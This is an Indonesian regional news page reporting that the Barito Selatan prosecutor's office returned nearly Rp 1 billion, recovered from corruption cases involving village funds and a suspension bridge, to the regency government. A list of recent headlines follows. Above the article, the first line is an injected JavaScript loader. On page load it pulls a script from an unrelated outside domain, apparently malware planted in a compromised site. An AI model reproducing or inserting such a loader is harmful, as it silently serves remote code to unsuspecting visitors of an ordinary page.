(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kinerja Korps Coklat Tahun 2019, Kembalikan Uang Negara Hampir Rp 1 M


BUNTOK, Kinerja capaian Kejari Barsel di tahun 2019 berhasil menyelamatkan keungaan negara hampir Rp 1 miliar dari tindakan hasil korupsi. Barang bukti uang tunai itu diserahkan kepada Pemkab Barsel di kantor Kejari Barsel, Senin (22/7).

Kejari Barsel Douglas Oscar Berlian Riwoe mengatakan, pihaknya menyerahkan uang negara yang berhasil diselamatkan dari tindak korupsi sebanyak hampir Rp 1 miliar kepada Pemkab Barsel.

“Kita hari ini menyerahkan uang kurang lebih 1 miliar kepada Pemkab Barsel, yang mana merupakan uang negara yang berhasil diselamatkan dari tindak korupsi,” kata Douglas.

Ia mengungkapkan, uang negara yang berhasil diselamatkan dari tindak korupsi ini antara lain, hasil sitaan dari kasus korupsi dana desa Palu Rejo sebanyak Rp 489 juta dan kasus pengembalian pembangunan jembatan gantung desa Sanggu Rp 465 juta.

“Jadi dari semua uang itu untuk hari ini kita serahkan kembali kepada Pemkab Barsel untuk dikembalikan kepada negara,” ucap Douglas.

Dijelaskan olehnya, terkait kasus pembangunan jembatan gantung desa Sanggu, untuk pelaksana pekerjaan saat dilakukan pemeriksaan didapati ada temuan kerugian negara. Pihak pelaksana mau mengakui dan akhirnya mengembalikan uang negara yang tidak termasuk dalam hitungan pelaksanaan pekerjaan jembatan gantung tersebut.

“Jadi pihak pelaksana pekerjaan mengakui dan mengembalikan semua uang yang tidak termasuk dalam hitungan pelaksanaan pembangunan jembatan gantung tersebut,” jelas Douglas.

Ditambahkan olehnya, Kejari Barsel dalam memberantas tindak pidana korupsi selalu mengutamakan pencegahan untuk tidak terjadinya korupsi sebelum melakukan eksekusi.

“Kita ingin korupsi jangan sampai terjadi, seperti contoh dibentuk tim TP4D untuk bisa mengawal setiap pelaksanaan sehingga tidak terjadinya tindak pidana korupsi itu,” tandas Douglas. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

3 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

4 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

21 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

1 hari ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

This website uses cookies.